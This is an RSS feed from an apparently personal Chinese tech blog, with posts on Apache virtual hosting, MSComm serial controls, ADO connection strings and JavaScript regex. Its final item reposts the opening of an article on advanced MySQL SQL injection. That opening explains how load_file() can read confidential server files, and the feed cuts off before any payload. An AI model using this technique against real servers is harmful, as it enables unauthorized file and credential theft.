<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
 <channel>
  <title>谢氏工作室 - 我的精彩</title>
  <link>http://mrshelly.blogbus.com</link>
  <description><![CDATA[我的鬼迹~~~~<br>
我的网路生活~~~<br>
我的~~~~~~~~~~~~~<br>
Email:mrshelly@hotmail.com]]></description>
  <generator> by blogbus.com </generator>
  <lastBuildDate>Sat, 02 Apr 2005 16:02:09 +0800</lastBuildDate>
  <image>
									<url>http://public.blogbus.com/images/head.gif</url>
									<title>谢氏工作室 - 我的精彩</title>
									<link>http://mrshelly.blogbus.com</link>
								</image>  <item>
   <title>发现一个 Xhtml + CSS 制作的网站</title>
   <description><![CDATA[<P>呵呵。做的真是不错。CSS及XHTML技术可谓炉火纯青了。</P>
<P>&nbsp;</P>
<P><A href="http://www.517x.com/">http://www.517x.com/</A></P>
<P>保存网站的网页后，再打开，你会发现，保存的结果同网站的实际效果不一样。</P>
<P>其实，就是XHTML+CSS的效果。看来，模板技术，除了 服务端替换，客户端替换外，还有一种更好的方式，就是用XHTML+CSS来实现。不错不错~~~</P><!--sp--><div class="relpost"><br/><h3>随机文章：</h3><div><a href="http://mrshelly.blogbus.com/logs/580724.html">大容量虚拟主机的动态配置</a> 2005-01-17</div><div><a href="http://mrshelly.blogbus.com/logs/381903.html">漏电、机械故障报警系统装置（广告）</a> 2004-09-11</div><div><a href="http://mrshelly.blogbus.com/logs/379850.html">成功分析 浙江移动发送短消息 验证码加密。</a> 2004-09-10</div><div><a href="http://mrshelly.blogbus.com/logs/333406.html">今天发现 花开涂鸦 里我的链接没有了。</a> 2004-08-17</div><div><a href="http://mrshelly.blogbus.com/logs/323324.html">WMI Samples...</a> 2004-08-12</div></div><div class="addfav"><br />收藏到：<span class= "delicious"><a href="http://delicious.com/save?url=http%3A%2F%2Fmrshelly.blogbus.com%2Flogs%2F583790.html&title=%E5%8F%91%E7%8E%B0%E4%B8%80%E4%B8%AA+Xhtml+%2B+CSS+%E5%88%B6%E4%BD%9C%E7%9A%84%E7%BD%91%E7%AB%99">Del.icio.us</a></span></div>]]></description>
   <link>http://mrshelly.blogbus.com/logs/583790.html</link>
   <author>shelly</author>
   <pubDate>Thu, 20 Jan 2005 08:50:59 +0800</pubDate>
  </item>
  <item>
   <title>大容量虚拟主机的动态配置</title>
   <description><![CDATA[<BR>方法一:简单的动态虚拟主机 <BR>代码: <BR>这是 httpd.conf 文件中，完成虚拟主机的配置方法，这里采用了 mod_vhost_alias 。 <BR><BR># 从 Host: 头中取得服务器名字 Server Name <BR>UseCanonicalName Off <BR><BR># 这里的日志格式，可以在将来通过第一个参数域来分隔不同的虚拟主机的日志 <BR>LogFormat "%V %h %l %u %t \"%r\" %s %b" vcommon <BR>CustomLog logs/access_log vcommon <BR><BR># 在返回请求的文件名的路径中包含进服务器名字: server name <BR>VirtualDocumentRoot /虚拟主机空间根目录/%0/htdocs <BR>VirtualScriptAlias /虚拟主机空间根目录/%0/cgi-bin <BR>#需要首先建立 /%0/htdocs ，然后把文件放在htdocs才可以访问 <BR>#%0表示虚拟主机的Server Name的这个名字，例如www.net.cn <BR><BR>将 UseCanonicalName Off 的配置改为 UseCanonicalName DNS 即可实现基于 IP 地址的虚拟主机。而在文件路径中所要插入的服务器名字（server name） 则通过虚拟主机的 IP 地址解析而得。 <BR><BR><BR><BR>方法二:多个的动态虚拟主机 <BR>代码: <BR>UseCanonicalName Off <BR><BR>LogFormat "%V %h %l %u %t \"%r\" %s %b" vcommon <BR><BR>&lt;Directory /www/commercial&gt; <BR><BR>Options FollowSymLinks <BR>AllowOverride All <BR><BR>&lt;/Directory&gt; <BR><BR>&lt;Directory /www/homepages&gt; <BR><BR>Options FollowSymLinks <BR>AllowOverride None <BR><BR>&lt;/Directory&gt; <BR><BR>&lt;VirtualHost 111.22.33.44&gt; <BR><BR>ServerName www.commercial.isp.com <BR><BR>CustomLog logs/access_log.commercial vcommon <BR><BR>VirtualDocumentRoot /www/commercial/%0/docs <BR>VirtualScriptAlias /www/commercial/%0/cgi-bin <BR><BR>&lt;/VirtualHost&gt; <BR><BR>&lt;VirtualHost 111.22.33.45&gt; <BR><BR>ServerName www.homepages.isp.com <BR><BR>CustomLog logs/access_log.homepages vcommon <BR><BR>VirtualDocumentRoot /虚拟主机空间根目录/%0/htdocs <BR>VirtualScriptAlias /虚拟主机空间根目录/%0/cgi-bin <BR><BR>&lt;/VirtualHost&gt; <BR><BR><BR><BR>方法三:基于 IP 地址的虚拟主机 <BR>代码: <BR><BR># 从 IP 地址反解析得到服务器名字（server name） <BR>UseCanonicalName DNS <BR><BR># 在日志中包含 IP 地址，便于后续分发 <BR>LogFormat "%A %h %l %u %t \"%r\" %s %b" vcommon <BR>CustomLog logs/access_log vcommon <BR><BR># 在文件路径中包含 IP 地址 %0表示IP <BR>VirtualDocumentRootIP /www/hosts/%0/docs <BR>VirtualScriptAliasIP /www/hosts/%0/cgi-bin <BR><BR><BR><BR>方法四:使用 mod_rewrite 的虚拟主机系统 <BR>代码: <BR><BR>RewriteEngine on <BR><BR>RewriteMap lowercase int:tolower <BR><BR># 检查 hostname 正确与否，之后才能使 RewriteRule 起作用 <BR>RewriteCond ${lowercase:%{SERVER_NAME}} ^www\.[a-z-]+\.isp\.com$ <BR><BR># 将虚拟主机名字廉洁到 URI 的开头 <BR># [C] 表明本次重写的结果将在下一个 rewrite 规则中使用 <BR>RewriteRule ^(.+) ${lowercase:%{SERVER_NAME}}$1 [C] <BR><BR># 现在创建实际的文件名 <BR>RewriteRule ^www\.([a-z-]+)\.isp\.com/(.*) /home/$1/$2 <BR><BR><BR><BR><BR>重头戏 <BR>方法五:使用独立的虚拟主机配置文件 <BR>当你修改vhost.map的时候，不需要重新启动Apache <BR>代码: <BR><BR>这样的布局利用了 mod_rewrite 的高级特性， 在独立的虚拟主机配置文件中转换。如此可以更为灵活，但需要较为复杂的设置。 <BR><BR>vhost.map 文件包含了类似下面的内容: <BR><BR>www.customer-1.com /www/customers/1 <BR>www.customer-2.com /www/customers/2 <BR>#...... <BR>www.customer-N.com /www/customers/N <BR><BR><BR>http.conf 包含了: <BR><BR>RewriteEngine on <BR><BR>RewriteMap lowercase int:tolower <BR><BR># 定义映像文件 <BR>RewriteMap vhost txt:/VHOST.map的路径/vhost.map <BR><BR># 和上面的例子一样，处理变名 <BR>RewriteCond %{REQUEST_URI} !^/icons/ <BR>RewriteCond %{REQUEST_URI} !^/cgi-bin/ <BR>RewriteCond ${lowercase:%{SERVER_NAME}} ^(.+)$ <BR># 这里做基于文件的重新映射 <BR>RewriteCond ${vhost:%1} ^(/.*)$ <BR>RewriteRule ^/(.*)$ %1/docs/$1 <BR><BR>RewriteCond %{REQUEST_URI} ^/cgi-bin/ <BR>RewriteCond ${lowercase:%{SERVER_NAME}} ^(.+)$ <BR>RewriteCond ${vhost:%1} ^(/.*)$ <BR>RewriteRule ^/(.*)$ %1/cgi-bin/$1 <BR><BR><BR>FROM：<A href="http://w.yi.org/weblog/53_0_1_0.html">http://w.yi.org/weblog/53_0_1_0.html</A> <!--sp--><div class="relpost"><br/><h3>随机文章：</h3><div><a href="http://mrshelly.blogbus.com/logs/583790.html">发现一个 Xhtml + CSS 制作的网站</a> 2005-01-20</div><div><a href="http://mrshelly.blogbus.com/logs/381903.html">漏电、机械故障报警系统装置（广告）</a> 2004-09-11</div><div><a href="http://mrshelly.blogbus.com/logs/379850.html">成功分析 浙江移动发送短消息 验证码加密。</a> 2004-09-10</div><div><a href="http://mrshelly.blogbus.com/logs/333406.html">今天发现 花开涂鸦 里我的链接没有了。</a> 2004-08-17</div><div><a href="http://mrshelly.blogbus.com/logs/323324.html">WMI Samples...</a> 2004-08-12</div></div><div class="addfav"><br />收藏到：<span class= "delicious"><a href="http://delicious.com/save?url=http%3A%2F%2Fmrshelly.blogbus.com%2Flogs%2F580724.html&title=%E5%A4%A7%E5%AE%B9%E9%87%8F%E8%99%9A%E6%8B%9F%E4%B8%BB%E6%9C%BA%E7%9A%84%E5%8A%A8%E6%80%81%E9%85%8D%E7%BD%AE">Del.icio.us</a></span></div>]]></description>
   <link>http://mrshelly.blogbus.com/logs/580724.html</link>
   <author>shelly</author>
   <pubDate>Mon, 17 Jan 2005 10:30:10 +0800</pubDate>
  </item>
  <item>
   <title>Google 的评语</title>
   <description><![CDATA[<P>一个网站的好坏，热门度，价值高低，从Google 的 <A href="http://www.google.com/intl/zh-CN/why_use.html">PageRank</A> 一定程度上得到反应。一般从 <A href="http://www.google.com/dirhp?hl=zh-CN&amp;tab=wd&amp;q=">Google 目录服务</A>&nbsp;上，我们可以找到自己网站的 PageRank 值。在 Google 推出的 <A href="http://toolbar.google.com/">Google Toolbar</A>&nbsp;也可以查看到各个网站的 PageRank 值。:D</P>
<P><A href="http://www.google.com">Google</A>&nbsp; PageRank 8/10</P>
<P><A href="http://www.163.com">网易</A>&nbsp;&nbsp;&nbsp;&nbsp;PageRank 7/10</P>
<P><A href="http://mrshelly.blogbus.com">谢氏工作室 我的精彩</A>&nbsp; PageRank 2/10</P>
<P>呵呵。还算不错了。</P>
<P>感谢各位访客的支持。</P><!--sp--><div class="relpost"><br/><h3>随机文章：</h3><div><a href="http://mrshelly.blogbus.com/logs/1299855.html">MSComm控件使用详解</a> 2005-01-01</div><div><a href="http://mrshelly.blogbus.com/logs/459367.html">Advanced SQL Injection with MySQL</a> 2004-10-25</div><div><a href="http://mrshelly.blogbus.com/logs/444831.html">数据库的跨平台设计</a> 2004-10-16</div><div><a href="http://mrshelly.blogbus.com/logs/435459.html">部分ADSL猫的默认密码</a> 2004-10-11</div><div><a href="http://mrshelly.blogbus.com/logs/400871.html">如何修改论坛头象为外部URL</a> 2004-09-21</div></div><div class="addfav"><br />收藏到：<span class= "delicious"><a href="http://delicious.com/save?url=http%3A%2F%2Fmrshelly.blogbus.com%2Flogs%2F577959.html&title=Google+%E7%9A%84%E8%AF%84%E8%AF%AD">Del.icio.us</a></span></div>]]></description>
   <link>http://mrshelly.blogbus.com/logs/577959.html</link>
   <author>shelly</author>
   <pubDate>Fri, 14 Jan 2005 15:59:35 +0800</pubDate>
  </item>
  <item>
   <title>MSComm控件使用详解</title>
   <description><![CDATA[MSComm控件使用详解 
FROM:http://www.csdn.com.cn/program/241.htm

MSComm控件两种处理通讯的方式  
CommPort属性  
RThreshold  属性  
CTSHolding  属性  
SThreshold  属性  
CDHolding  属性  
DSRHolding  属性  
Settings  属性  
InputLen  属性  
EOFEnable  属性  

Handshake  常数  
OnComm  常数  
InputMode  常数  
错误消息  


         MSComm 控件通过串行端口传输和接收数据，为应用程序提供串行通讯功能。MSComm控件在串口编程时非常方便，程序员不必去花时间去了解较为复杂的API函数，而且在VC、VB、Delphi等语言中均可使用。  Microsoft  Communications  Control（以下简称MSComm）是Microsoft公司提供的简化Windows下串行通信编程的ActiveX控件，它为应用程序提供了通过串行接口收发数据的简便方法。具体的来说，它提供了两种处理通信问题的方法：一是事件驱动(Event－driven)方法，一是查询法。  

1.MSComm控件两种处理通讯的方式  

MSComm控件提供下列两种处理通讯的方式：事件驱动方式和查询方式。    
1.1  事件驱动方式  

事件驱动通讯是处理串行端口交互作用的一种非常有效的方法。在许多情况下，在事件发生时需要得到通知，例如，在串口接收缓冲区中有字符，或者  Carrier  Detect  (CD)  或  Request  To  Send  (RTS)  线上一个字符到达或一个变化发生时。在这些情况下，可以利用  MSComm  控件的  OnComm  事件捕获并处理这些通讯事件。OnComm  事件还可以检查和处理通讯错误。所有通讯事件和通讯错误的列表，参阅  CommEvent  属性。在编程过程中，就可以在OnComm事件处理函数中加入自己的处理代码。这种方法的优点是程序响应及时，可靠性高。每个MSComm  控件对应着一个串行端口。如果应用程序需要访问多个串行端口，必须使用多个  MSComm  控件。  

1.2  查询方式    

查询方式实质上还是事件驱动，但在有些情况下，这种方式显得更为便捷。在程序的每个关键功能之后，可以通过检查  CommEvent  属性的值来查询事件和错误。如果应用程序较小，并且是自保持的，这种方法可能是更可取的。例如，如果写一个简单的电话拨号程序，则没有必要对每接收一个字符都产生事件，因为唯一等待接收的字符是调制解调器的“确定”响应。    

2.MSComm  控件的常用属性  
  MSComm控件有很多重要的属性，但首先必须熟悉几个属性。  

  CommPort  设置并返回通讯端口号。    
  Settings  以字符串的形式设置并返回波特率、奇偶校验、数据位、停止位。    
  PortOpen  设置并返回通讯端口的状态。也可以打开和关闭端口。    
  Input     从接收缓冲区返回和删除字符。    
  Output    向传输缓冲区写一个字符串。  

下面分别描述：    

CommPort属性  设置并返回通讯端口号。  
语法  object.CommPort[value  ]  (value  一整型值，说明端口号。)    
说明  在设计时，value  可以设置成从  1  到  16  的任何数（缺省值为  1）。但是如果用  PortOpen  属性打开一个并不存在的端口时，MSComm  控件会产生错误  68（设备无效）。  
注意：必须在打开端口之前设置  CommPort  属性。  

RThreshold  属性：在  MSComm  控件设置  CommEvent  属性为  comEvReceive  并产生  OnComm  之前，设置并返回的要接收的字符数。  
语法  object.Rthreshold  [  =  value  ]（value  整型表达式，说明在产生  OnComm  事件之前要接收的字符数。  ）  
说明  当接收字符后，若  Rthreshold  属性设置为  0（缺省值）则不产生  OnComm  事件。例如，设置  Rthreshold  为  1，接收缓冲区收到每一个字符都会使  MSComm  控件产生  OnComm  事件。  

CTSHolding  属性：确定是否可通过查询  Clear  To  Send  (CTS)  线的状态发送数据。Clear  To  Send  是调制解调器发送到相联计算机的信号，指示传输可以进行。该属性在设计时无效，在运行时为只读。  
语法：  object.CTSHolding（Boolean）  

Mscomm  控件的  CTSHolding  属性设置值：  
True  Clear  To  Send  线为高电平。    
False  Clear  To  Send  线为低电平。    

说明：如果  Clear  To  Send  线为低电平  (CTSHolding  =  False)  并且超时时，MSComm  控件设置  CommEvent  属性为  comEventCTSTO  (Clear  To  Send  Timeout)  并产生  OnComm  事件。  

Clear  To  Send  线用于  RTS/CTS  (Request  To  Send/Clear  To  Send)  硬件握手。如果需要确定  Clear  To  Send  线的状态，CTSHolding  属性给出一种手工查询的方法。  

详细信息  有关握手协议，请参阅  Handshaking  属性。  

SThreshold  属性：  MSComm  控件设置  CommEvent  属性为  comEvSend  并产生  OnComm  事件之前，设置并返回传输缓冲区中允许的最小字符数。  

语法  object.SThreshold  [  =  value  ]  
value  整形表达式，代表在  OnComm  事件产生之前在传输缓冲区中的最小字符数。    

说明：若设置  Sthreshold  属性为  0（缺省值），数据传输事件不会产生  OnComm  事件。若设置  Sthreshold  属性为  1，当传输缓冲区完全空时，MSComm  控件产生  OnComm  事件。如果在传输缓冲区中的字符数小于  value，CommEvent  属性设置为  comEvSend，并产生  OnComm  事件。comEvSend  事件仅当字符数与  Sthreshold  交叉时被激活一次。例如，如果  Sthreshold  等于  5，仅当在输出队列中字符数从  5  降到  4  时，comEvSend  才发生。如果在输出队列中从没有比  Sthreshold  多的字符，comEvSend  事件将绝不会发生。  


Handshake  常数  

常数  值  描述    
comNone  0  无握手。    
comXonXoff  1  XOn/Xoff  握手。    
comRTS  2  Request-to-send/clear-to-send  握手。    
comRTSXOnXOff  3  Request-to-send  和  clear-to-send  握手皆可。    


OnComm  常数  

常数  值  描述    
comEvSend  1  发送事件。    
comEvReceive  2  接收事件。    
comEvCTS  3  clear-to-send  线变化。    
comEvDSR  4  data-set  ready  线变化。    
comEvCD  5  carrier  detect  线变化。    
comEvRing  6  振铃检测。    
comEvEOF  7  文件结束。    


Error  常数  

常数  值  描述    
comEventBreak  1001  接收到中断信号    
comEventCTSTO  1002  Clear-to-send  超时    
comEventDSRTO  1003  Data-set  ready  超时    
comEventFrame  1004  帧错误    
comEventOverrun  1006  端口超速    
comEventCDTO  1007  Carrier  detect  超时    
comEventRxOver  1008  接收缓冲区溢出    
comEventRxParity  1009  Parity  错误    
comEventTxFull  1010  传输缓冲区满    
comEventDCB  1011  检索端口  设备控制块  (DCB)  时的意外错误    

InputMode  常数  
常数  值  描述    
comInputModeText  0  （缺省）通过  Input  属性以文本方式取回数据。    
comInputModeBinary  1  通过  Input  属性以二进制方式检取回数据。    

CDHolding  属性：通过查询  Carrier  Detect  (CD)  线的状态确定当前是否有传输。Carrier  Detect  是从调制解调器发送到相联计算机的一个信号，指示调制解调器正在联机。该属性在设计时无效，在运行时为只读。  

语法  object.CDHolding  
设置值：CDHolding  属性的设置值为：    
设置  描述    
True  Carrier  Detect  线为高电平    
False  Carrier  Detect  线为低电平    
说明：注意当  Carrier  Detect  线为高电平  (CDHolding  =  True)  且超时时，MSComm  控件设置CommEvent  属性为  comEventCDTO（Carrier  Detect  超时错误），并产生  OnComm  事件。  
注意  在主机应用程序中捕获一个丢失的传输是特别重要的，例如一个公告板，因为呼叫者可以随时挂起（放弃传输）。  
Carrier  Detect  也被称为  Receive  Line  Signal  Detect  (RLSD)。  
数据类型  Boolean  

DSRHolding  属性：确定  Data  Set  Ready  (DSR)  线的状态。Data  Set  Ready  信号由调制解调器发送到相连计算机，指示作好操作准备。该属性在设计时无效，在运行时为只读。  
语法：object.DSRHolding  
object  所在处表示对象表达式，其值是“应用于”列表中的对象。  
DSRHolding  属性返回以下值：  
值  描述    
True  Data  Set  Ready  线高    
False  Data  Set  Ready  线低    
说明：当  Data  Set  Ready  线为高电平  (DSRHolding  =  True)  且超时时，MSComm  控件设置  CommEvent  属性为  comEventDSRTO（数据准备超时）并产生  OnComm  事件。  
当为  Data  Terminal  Equipment  (DTE)  机器写  Data  Set  Ready/Data  Terminal  Ready  握手例程时该属性是十分有用的。  
数据类型：Boolean  


Settings  属性:  设置并返回波特率、奇偶校验、数据位、停止位参数。  

语法:  object.Settings[  =  value]  
说明：当端口打开时，如果  value  非法，则  MSComm  控件产生错误  380（非法属性值）。  
Value  由四个设置值组成，有如下的格式：  
"BBBB,P,D,S  "  
BBBB  为波特率，P  为奇偶校验，D  为数据位数，S  为停止位数。value  的缺省值是：  
"9600,N,8,1  "  


InputLen  属性：设置并返回  Input  属性从接收缓冲区读取的字符数。  

语法  object.InputLen  [  =  value]  
InputLen  属性语法包括下列部分：  
value  整型表达式，说明  Input  属性从接收缓冲区中读取的字符数。    
说明：InputLen  属性的缺省值是  0。设置  InputLen  为  0  时，使用  Input  将使  MSComm  控件读取接收缓冲区中全部. <!--sp--><div class="relpost"><br/><h3>随机文章：</h3><div><a href="http://mrshelly.blogbus.com/logs/577959.html">Google 的评语</a> 2005-01-14</div><div><a href="http://mrshelly.blogbus.com/logs/459367.html">Advanced SQL Injection with MySQL</a> 2004-10-25</div><div><a href="http://mrshelly.blogbus.com/logs/444831.html">数据库的跨平台设计</a> 2004-10-16</div><div><a href="http://mrshelly.blogbus.com/logs/435459.html">部分ADSL猫的默认密码</a> 2004-10-11</div><div><a href="http://mrshelly.blogbus.com/logs/400871.html">如何修改论坛头象为外部URL</a> 2004-09-21</div></div><div class="addfav"><br />收藏到：<span class= "delicious"><a href="http://delicious.com/save?url=http%3A%2F%2Fmrshelly.blogbus.com%2Flogs%2F1299855.html&title=MSComm%E6%8E%A7%E4%BB%B6%E4%BD%BF%E7%94%A8%E8%AF%A6%E8%A7%A3">Del.icio.us</a></span></div>]]></description>
   <link>http://mrshelly.blogbus.com/logs/1299855.html</link>
   <author>shelly</author>
   <pubDate>Sat, 01 Jan 2005 02:43:00 +0800</pubDate>
  </item>
  <item>
   <title>ADO 连接字串一网打尽</title>
   <description><![CDATA[<P class=Titles>FROM:<A href="http://www.basic-ultradev.com/articles/ADOConnections/">http://www.basic-ultradev.com/articles/ADOConnections/</A></P>
<P class=Titles>ODBC DSNLess Connections:</P>
<P class=text><B>MS Access ODBC DSNless connection</B></P>
<P class=CodeStyle>Driver={Microsoft Access Driver (*.mdb)};Dbq=c:\somepath\dbname.mdb;Uid=Admin;Pwd=pass;</P>
<P></P>
<P class=text><B>dBase ODBC DSNless connection</B></P>
<P class=CodeStyle>Driver={Microsoft dBASE Driver (*.dbf)};DriverID=277;Dbq=c:\somepath\dbname.dbf;</P>
<P class=text><B>Oracle ODBC DSNless connection</B></P>
<P class=CodeStyle>Driver={Microsoft ODBC for Oracle};Server=OracleServer.world;Uid=admin;Pwd=pass;</P>
<P class=text><B>MS SQL Server DSNless connection</B></P>
<P class=CodeStyle>Driver={SQL Server};Server=servername;Database=dbname;Uid=sa;Pwd=pass;</P>
<P class=text><B>MS Text Driver DSNless connection</B></P>
<P class=CodeStyle>Driver={Microsoft Text Driver (*.txt; *.csv)};Dbq=c:\somepath\;Extensions=asc,csv,tab,txt;Persist Security Info=False;</P>
<P class=text><B>Visual Foxpro DSNless connection</B></P>
<P class=CodeStyle>Driver={Microsoft Visual FoxPro Driver};SourceType=DBC;SourceDB=c:\somepath\dbname.dbc;Exclusive=No;</P>
<P class=text><B>MySQL DSNless connection</B></P>
<P class=CodeStyle>driver={mysql}; database=yourdatabase;server=yourserver;uid=username;pwd=password;option=16386;</P>
<P class=Titles>OLE DB Connections:</P>
<P class=text><B>MS Access OLE DB connection </B></P>
<P class=CodeStyle>Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c:\somepath\dbname.mdb;User Id=admin;Password=pass; </P>
<P class=text><B>Oracle OLE DB connection</B></P>
<P class=CodeStyle>Provider=OraOLEDB.Oracle;Data Source=dbname;User Id=admin;Password=pass;</P>
<P class=text><B>MS SQL Server OLE DB connection</B></P>
<P class=CodeStyle>Provider=SQLOLEDB;Data Source=machineName;Initial Catalog=dbname;User ID=sa;Password=pass;</P>
<P class=text><B>MS SQL Server OLE DB connection using an IP address</B></P>
<P class=CodeStyle>Provider=SQLOLEDB; Data Source=xx.xx.xx.xx,1433; Network Library=DBMSSOCN; Initial Catalog=dbname;User ID=sa;Password=pass;</P>
<P class=text><B>MS Text Driver OLE DB connection</B></P>
<P class=CodeStyle>"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=C:\yourpath;Extended Properties='text;FMT=Delimited'"</P><!--sp--><div class="relpost"><br/><h3>随机文章：</h3><div><a href="http://mrshelly.blogbus.com/logs/478381.html">JS正则分割重组排序的实例。</a> 2004-10-26</div><div><a href="http://mrshelly.blogbus.com/logs/346212.html">通用表单验证函数（JS）</a> 2004-08-24</div><div><a href="http://mrshelly.blogbus.com/logs/209987.html">完美关窗JS~~</a> 2004-06-07</div><div><a href="http://mrshelly.blogbus.com/logs/209984.html">JS部分通用函数</a> 2004-06-07</div><div><a href="http://mrshelly.blogbus.com/logs/157389.html">JS 表格控制范例</a> 2004-04-29</div></div><div class="addfav"><br />收藏到：<span class= "delicious"><a href="http://delicious.com/save?url=http%3A%2F%2Fmrshelly.blogbus.com%2Flogs%2F461317.html&title=ADO+%E8%BF%9E%E6%8E%A5%E5%AD%97%E4%B8%B2%E4%B8%80%E7%BD%91%E6%89%93%E5%B0%BD">Del.icio.us</a></span></div>]]></description>
   <link>http://mrshelly.blogbus.com/logs/461317.html</link>
   <author>shelly</author>
   <pubDate>Tue, 26 Oct 2004 15:56:15 +0800</pubDate>
  </item>
  <item>
   <title>JS正则分割重组排序的实例。</title>
   <description><![CDATA[<P>&lt;SCRIPT LANGUAGE="JavaScript1.2"&gt; </P>
<P>// The name string contains multiple spaces and tabs,<BR>// and may have multiple spaces between first and last names.<BR>names = new String ( "Harry Trump ;Fred Barney; Helen Rigby ;\<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Bill Abel ;Chris Hand ") </P>
<P>document.write ("---------- Original String" + "&lt;BR&gt;" + "&lt;BR&gt;");<BR>document.write (names + "&lt;BR&gt;" + "&lt;BR&gt;"); </P>
<P>// Prepare two regular expression patterns and array storage.<BR>// Split the string into array elements. </P>
<P>// pattern: possible white space then semicolon then possible white space<BR>pattern = /\s*;\s*/; </P>
<P>// Break the string into pieces separated by the pattern above and<BR>// and store the pieces in an array called nameList<BR>nameList = names.split (pattern); </P>
<P>// new pattern: one or more characters then spaces then characters.<BR>// Use parentheses to "memorize" portions of the pattern.<BR>// The memorized portions are referred to later.<BR>pattern = /(\w+)\s+(\w+)/; </P>
<P>// New array for holding names being processed.<BR>bySurnameList = new Array; </P>
<P>// Display the name array and populate the new array<BR>// with comma-separated names, last first.<BR>//<BR>// The replace method removes anything matching the pattern<BR>// and replaces it with the memorized string—second memorized portion<BR>// followed by comma space followed by first memorized portion.<BR>//<BR>// The variables $1 and $2 refer to the portions<BR>// memorized while matching the pattern. </P>
<P>document.write ("---------- After Split by Regular Expression" + "&lt;BR&gt;");<BR>for ( i = 0; i &lt; nameList.length; i++) {<BR>&nbsp;&nbsp; document.write (nameList[i] + "&lt;BR&gt;");<BR>&nbsp;&nbsp; bySurnameList[i] = nameList[i].replace (pattern, "$2, $1")<BR>} </P>
<P>// Display the new array.<BR>document.write ("---------- Names Reversed" + "&lt;BR&gt;");<BR>for ( i = 0; i &lt; bySurnameList.length; i++) {<BR>&nbsp;&nbsp; document.write (bySurnameList[i] + "&lt;BR&gt;")<BR>} </P>
<P>// Sort by last name, then display the sorted array.<BR>bySurnameList.sort();<BR>document.write ("---------- Sorted" + "&lt;BR&gt;");<BR>for ( i = 0; i &lt; bySurnameList.length; i++) {<BR>&nbsp;&nbsp; document.write (bySurnameList[i] + "&lt;BR&gt;")<BR>} </P>
<P>document.write ("---------- End" + "&lt;BR&gt;") </P>
<P>&lt;/SCRIPT&gt; </P>
<P><BR>&nbsp;</P>执行结果：
<SCRIPT language=JavaScript1.2> 
// The name string contains multiple spaces and tabs,
// and may have multiple spaces between first and last names.
names = new String ( "Harry Trump ;Fred Barney; Helen Rigby ;\
       Bill Abel ;Chris Hand ") 
document.write ("---------- Original String" + "<BR>" + "<BR>");
document.write (names + "<BR>" + "<BR>"); 
// Prepare two regular expression patterns and array storage.
// Split the string into array elements. 
// pattern: possible white space then semicolon then possible white space
pattern = /\s*;\s*/; 
// Break the string into pieces separated by the pattern above and
// and store the pieces in an array called nameList
nameList = names.split (pattern); 
// new pattern: one or more characters then spaces then characters.
// Use parentheses to "memorize" portions of the pattern.
// The memorized portions are referred to later.
pattern = /(\w+)\s+(\w+)/; 
// New array for holding names being processed.
bySurnameList = new Array; 
// Display the name array and populate the new array
// with comma-separated names, last first.
//
// The replace method removes anything matching the pattern
// and replaces it with the memorized string—second memorized portion
// followed by comma space followed by first memorized portion.
//
// The variables $1 and $2 refer to the portions
// memorized while matching the pattern. 
document.write ("---------- After Split by Regular Expression" + "<BR>");
for ( i = 0; i < nameList.length; i++) {
   document.write (nameList[i] + "<BR>");
   bySurnameList[i] = nameList[i].replace (pattern, "$2, $1")
} 
// Display the new array.
document.write ("---------- Names Reversed" + "<BR>");
for ( i = 0; i < bySurnameList.length; i++) {
   document.write (bySurnameList[i] + "<BR>")
} 
// Sort by last name, then display the sorted array.
bySurnameList.sort();
document.write ("---------- Sorted" + "<BR>");
for ( i = 0; i < bySurnameList.length; i++) {
   document.write (bySurnameList[i] + "<BR>")
} 
document.write ("---------- End" + "<BR>") 
</SCRIPT>
 <!--sp--><div class="relpost"><br/><h3>随机文章：</h3><div><a href="http://mrshelly.blogbus.com/logs/461317.html">ADO 连接字串一网打尽</a> 2004-10-26</div><div><a href="http://mrshelly.blogbus.com/logs/346212.html">通用表单验证函数（JS）</a> 2004-08-24</div><div><a href="http://mrshelly.blogbus.com/logs/209987.html">完美关窗JS~~</a> 2004-06-07</div><div><a href="http://mrshelly.blogbus.com/logs/209984.html">JS部分通用函数</a> 2004-06-07</div><div><a href="http://mrshelly.blogbus.com/logs/157389.html">JS 表格控制范例</a> 2004-04-29</div></div><div class="addfav"><br />收藏到：<span class= "delicious"><a href="http://delicious.com/save?url=http%3A%2F%2Fmrshelly.blogbus.com%2Flogs%2F478381.html&title=JS%E6%AD%A3%E5%88%99%E5%88%86%E5%89%B2%E9%87%8D%E7%BB%84%E6%8E%92%E5%BA%8F%E7%9A%84%E5%AE%9E%E4%BE%8B%E3%80%82">Del.icio.us</a></span></div>]]></description>
   <link>http://mrshelly.blogbus.com/logs/478381.html</link>
   <author>shelly</author>
   <pubDate>Tue, 26 Oct 2004 15:56:15 +0800</pubDate>
  </item>
  <item>
   <title>Advanced SQL Injection with MySQL</title>
   <description><![CDATA[<TABLE cellSpacing=0 cellPadding=5 width=760 align=center border=0>
<TBODY>
<TR>
<TD style="FONT-SIZE: 14px" align=middle>
<P align=left><B>FROM:<A href="http://www.4ngel.net/article/30.htm">http://www.4ngel.net/article/30.htm</A></B></P></TD></TR>
<TR>
<TD>本文作者：angel<BR>文章性质：原创<BR>发布日期：2004-07-14</TD></TR>
<TR>
<TD>
<P>文/图 安全天使·angel[BST]</P>
<P><B>前言</B></P>
<P>　　我的《SQL Injection with MySQL》（《黑客防线》7月的专题）已经对MySQL的注入有了比较全面的介绍了，但是有一个危害相当大的函数，我并没有在文中提及，因为如果能灵活应用这个函数，那PHP甚至服务器的安全性均会大打折扣，由于《SQL Injection with MySQL》的发表时间是在暑假期间，考虑到很多新手、学生和品德败坏的人乱用，所以我并没有把这个写在该文里，其实本文在5月初已写完。专题发表后，很多人已经陆续转到PHP+MYSQL注入的研究，很多新技术将会陆续挖掘出来，我们所掌握这方面未公开的高级技巧也会陆续公布出来。至于比较基础的东西，本文就不再提了。</P>
<P><B>详细</B></P>
<P>　　我们知道，在SQL语句中，可以使用各种MySQL内置的函数，经常使用的就是DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()、CURRENT_USER()这些函数来获取一些系统的信息，还有一个应用得比较多的函数，就是load_file()，该函数的作用是读入文件，并将文件内容作为一个字符串返回。<BR>　　看到这里，应该可以想到我们可以做什么了，就是读取一些机密文件，但是也是有条件限制的：</P>
<UL>
<LI>欲读取文件必须在服务器上 
<LI>必须指定文件完整的路径 
<LI>必须有权限读取并且文件必须完全可读 
<LI>欲读取文件必须小于 max_allowed_packet </LI></UL>
